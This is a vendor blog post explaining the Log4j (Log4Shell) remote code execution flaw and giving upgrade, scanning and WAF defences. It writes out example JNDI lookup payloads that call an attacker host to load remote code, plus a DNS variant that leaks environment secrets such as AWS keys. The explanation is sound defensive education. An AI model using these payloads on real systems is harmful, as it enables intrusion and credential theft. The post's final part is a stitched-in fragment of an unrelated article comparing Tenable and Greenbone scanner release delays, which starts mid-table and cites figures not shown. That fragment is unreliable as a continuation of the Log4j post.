Apache Log4j is a logging package for Java which has been widely adopted and integrated into many applications. Developers need a way of ...
back to BLOG

Log4j vulnerability: what is it and how to detect it?

Andy Hornegold

Tldr; Log4j is a remote code execution vulnerability, in the popular log4j package, which is everywhere. You can upgrade your log4j packages to fix the issue, you can deploy rules to web application firewalls to protect yourself further. And, yes, Intruder is detecting log4shell.

Log4j vulnerability explained

Apache Log4j is a logging package for Java which has been widely adopted and integrated into many applications. Developers need a way of tracking certain events within their application whether it be for debugging application behaviour, or to create an audit trail of certain events to help with security monitoring. The native logging support in Java is not ideal, and to get more feature-complete logging developers often include the Log4j package in their apps.

Logging will often just involve storing/printing a string (a bit of text). However, Log4j provides the functionality for certain bits of the text to be substituted for something else, by looking up some data. In practice I might log “The current version of Java that my app is running on is $ {java:version}” the $ {java:version} is automatically converted by Log4j to be the version of java, after looking up the version of Java on the system. So, the string that will actually be logged is “The current version of Java that my app is running on is Java version 1.7.0_67”; log4j has converted the $ {java:version} bit into the java version for us, which is pretty handy. Nothing can possibly go wrong!

Something went wrong

Log4j doesn’t just accept $ {java:version} as a substitution, if it did the worst we’d be able to do is add the Java version to a log entry. Let’s take a quick look at the $ {java:version} substitution. The “java” part is called the prefix2, a type of category, and the “version” bit is the name of a property we want to include, so in this case we want the version property from the java context. Log4j accepts a bunch of other prefixes including:

Some of these look potentially juicy, but the one that is of particular interest is “jndi” which refers to the Java Naming and Directory Interface. JNDI allows Java applications to interact with naming and directory services (like DNS, LDAP, and NIS). So, this means attackers can call $ {jndi:name} to do a JNDI lookup, and since LDAP is one of the things JNDI supports we can do $ {jndi:ldap://intruder.io/myobject} to load data from “myobject” hosted at “intruder.io”, evaluate the contents of the object, and then add it to the log entry.

What does Log4j do?

An attacker only needs to find somewhere that an application is logging using log4j and send something like $ {jndi:ldap://evil.intruder.io/myexploit} then the victim server will execute the code contained within the “myexploit” file. This could result in the attacker gaining access to the system, begin dumping data, allow them to pivot to internal networks, and start their attack on internal systems.

On top of this when the victim system receives this malicious payload it will need to do a DNS lookup for evil.intruder.io. The DNS records for evil.intruder.io are controlled by the attacker, and they can monitor lookup requests against their domain. Which means, even where code isn’t being executed, it is possible to send data from the victim system to the attacker system by changing “evil.intruder.io” to “$ {env:SUPER_SECRET}.intruder.io” and suddenly the victim is sending DNS requests containing the SUPER_SECRET environment variable from the victim system to the attacker. That super secret could be sensitive information that allows the attacker to gain access to the system using other techniques (like maybe your AWS_SECRET_ACCESS_KEY?).

What versions of Log4j are vulnerable?

CVE-2021-44228 specifically affects Log4j 2 versions before 2.15.0. From version 2.15.0 and after the remote JNDI LDAP lookups are disabled by default.

However, a second vulnerability CVE-2021-45046 has emerged while we’ve all been trying to fix Log4j issues. So, consider every version before Log4j 2 version 2.16.0 vulnerable.

The list of software that includes Log4j and is impacted is pretty long; in fact, it’s eye wateringly long. The Dutch National Cyber Security Centre have a good list where you can track different affected vendors and software. You can find the list at their Github project:

CISA also have a good list of affected systems:

Why is so much stuff affected?

People log a lot of stuff. Logging is usually recommended to ensure that you can troubleshoot issues or maintain some form of audit log for security purposes (the irony is not lost on me). Additionally, people will often log input from end users especially things like HTTP request headers (user-agent, forwarded-for, x- headers) and parameters. So, in the previous section when I said “an attacker only needs to find…” attackers have taken the firehose approach and started spraying the internet with requests containing the malicious string:

Figure1: Spray and pray

It gets worse because the internet-facing web application doesn’t need to be vulnerable. If data flows through your environment the exploit string may hit secondary systems which use log4j in the backend. If these systems are vulnerable, and have an internet connection, it’s possible to execute code or exfiltrate data from internal systems.

I think it’s worth mentioning that the magnitude of this vulnerability is because of how many different vendors are including open-source software in their products, and that open source package is maintained by volunteers with little to no cash flow from major vendors. There is an XKCD for everything, but this one continues to be a microcosm of the current ecosystem:

Figure 2: https://xkcd.com/2347/

Because log4j is open source it’s being used in lots of other enterprise software, and as a result this vulnerability is appearing in lots of places.

So, it’s bad, huh?

It’s pretty bad, remember Shellshock? It’s like that. But for Java.

Figure3: https://gunshowcomic.com/648

How to fix Log4j

Identify which of your systems is vulnerable, scan your network or local systems for occurrences of the vulnerable software.

Vendors have released fixes so apply updates, where possible. Log4j 2 should be updated to at least version 2.16.0.

Restrict network access from systems where you cannot update vulnerable systems. Specifically, do not allow them to connect to untrusted systems. Most exploits are using LDAP to attempt to connect outbound, but also DNS queries which are forwarded to external DNS servers can result in data being leaked.

Apply configuration changes to limit exploitation.

Increase monitoring for exploitation

Scan your infrastructure for the vulnerability and monitor for any detections

How to check for the Log4j vulnerability

Most log4j vulnerability scanners are detecting the vulnerability, many have had checks out since the day the vulnerability broke. Intruder are scanning for the log4j vulnerability and have been kicking off full Emerging Threat Scans against our customers and keeping them up-to-date with any detections.

If you want to DIY then there are a number of approaches available to you. Fox IT have released a recursive file system searcher which can detect vulnerable log4j references in your JARs:

And if Go is more of your thing then Hilko Bengen has you covered:

If you want to check remotely you can use the nmap NSE script released by Diverto:

On top of that there are a bunch of scanners available for Portswigger’s Burp Suite:

It was also added to Burp’s ActiveScan++ in version 1.0.23:

What can you do to defend yourself?

If you want to try and mitigate the issue, there are a number of web application firewall rules that have been released to try and limit exploitation:

Cloudflare has automatically deployed web application firewall rules which try to mitigate the vulnerabilities:

Fastly have added a templated rule for CVE-2021-44228 as part of their Signal Sciences WAF:

Be aware that it is possible for attackers to attempt to bypass WAF rules, and some are already doing it successfully. There really is no better mitigation than fixing the root cause (applying the vendor fix); but in situations where you need more time, these rules and services can help.

Take action with a Log4j scanner

Intruder have been conducting scans against all our Pro customers from the second the checks for the vulnerabilities were available, these are our Emerging Threat Scans. When affected systems were identified we send an alert (through instant messaging and email) to inform our customer that we’ve detected a problem. Our Vanguard customers repeatedly received scans, from the moment we saw the vulnerability, using more advanced techniques including WAF bypasses (which gave us more hits). Start a 14 day free trial today.


Release Date
Level of Ideal
Before CVE details are published
Limited public information is available about the vulnerability.

Red teamers, security researchers, detection engineers, threat actors have to actively research type of vulnerability, location in vulnerable software and build an associated exploit.

Tenable release checks for 47.43% of the CVEs they cover in this window, and Greenbone release 32.96%.
Day of CVE publish
Vulnerability information is publicly accessible.

Red teamers, security researchers, detection engineers and threat actors now have access to some of the information they were previously having to hunt themselves, speeding up potential exploit creation.

Tenable release checks for 17.12% of the CVEs they cover in this window, and Greenbone release 17.69%.
First week since CVE publish
Vulnerability information has been publicly available for up to 1 week.

The likelihood that exploitation in the wild is going to be happening is steadily increasing.

Tenable release checks for 10.9% of the CVEs they cover in this window, and Greenbone release 20.69%.
Between 1 week and 1 month since CVE publish
Vulnerability information has been publicly available for up to 1 month, and some very clever people have had time to craft an exploit.

We’re starting to lose some of the benefit of rapid, automated vulnerability detection.

Tenable release checks for 9.58% of the CVEs they cover in this window, and Greenbone release 12.43%.
After 1 month since CVE publish
Information has been publicly available for more than 31 days.

Any detection released a month after the details are publicly available is decreasing in value for me.

Tenable release checks for 14.97% of the CVEs they cover over a month after the CVE details have been published, and Greenbone release 16.23%.

With this information in mind, I wanted to check what is the delay for both Tenable and Greenbone to release a detection for their scanners. The following section will focus on vulnerabilities which:

These are the ones where an attacker can point their exploit code at your vulnerable system and gain unauthorised access.

We’ve seen previously that Tenable have remote checks for 643 critical vulnerabilities, and OpenVAS have remote checks for 450 critical vulnerabilities. Tenable release remote checks for critical vulnerabilities within 1 month of the details being made public 58.4% of the time, but Greenbone release their checks within 1 month 76.8% of the time. So, even though OpenVAS has fewer checks for those critical vulnerabilities, you are more likely to get them within 1 month of the details being made public. Let’s break that down further.

In Figure 10 we can see the absolute number of remote checks released on a given day after a CVE for a critical vulnerability has been published. What you can immediately see is that both Tenable and OpenVAS release the majority of their checks on or before the CVE details are made public; Tenable have released checks for 247 CVEs, and OpenVAS have released checks for 144 CVEs. Then since 2010 Tenable have remote released checks for 147 critical CVEs and OpenVAS 79 critical CVEs on the same day as the vulnerability details were published. The number of vulnerabilities then drops off across the first week and drops further after 1 week, as we would hope for in an efficient time-to-release scenario.

Figure 10: Absolute numbers of critical CVEs with a remote check release date from the date a CVE is published

While raw numbers are good, Tenable have a larger number of checks available so it could be unfair to go on raw numbers alone. It’s potentially more important to understand the likelihood that OpenVAS or Tenable will release a check of a vulnerability on any given day after a CVE for a critical vulnerability is released. In Figure 11 we can see that Tenable release 61% their checks on or before the date that a CVE is published, and OpenVAS release a shade under 50% of their checks on or before the day that a CVE is published.

Figure 11: Percentage chance of delay for critical vulnerabilities

So, since 2010 Tenable has more frequently released their checks before or on the same day as the CVE details have been published for critical vulnerabilities. While Tenable is leading at this point, Greenbone’s community feed still gets a considerable percentage of their checks out on or before day 0.

I thought I’d go another step further and try and see if I could identify any trend in each organisations release delay, are they getting better year-on-year or are their releases getting later? In Figure 12 I’ve taken the mean delay for critical vulnerabilities per year and plotted them. The mean as a metric is particularly influenced by outliers in a data set, so I expected some wackiness and limited the mean to only checks released 180 days prior to a CVE being published and 31 days after a CVE being published. These seem to me like reasonable limits, as anything greater than 6 months prior to CVE details being released is potentially a quirk of the check details and anything after a 1-month delay is less important for us.

What can we take away from Figure 12?

Figure 12: Release delay year-on-year (lower is better)

With the larger number of checks, and still being able to release a greater percentage of their remote checks for critical vulnerabilities Tenable could win this category. However, the delay time from 2019 and 2020 going to OpenVAS, and the trend lines being so close, I am going to declare this one a tie. It’s a tie.

The takeaway from this is that both vendors are getting their checks out the majority of the time either before the CVE details are published or on the day the details are published. This is overwhelmingly positive for both scanning solutions. Over time both also appear to be releasing remote checks for critical vulnerabilities more quickly.

Written by

Andy Hornegold

Recommended articles

Ready to get started with your 14-day trial?
try for free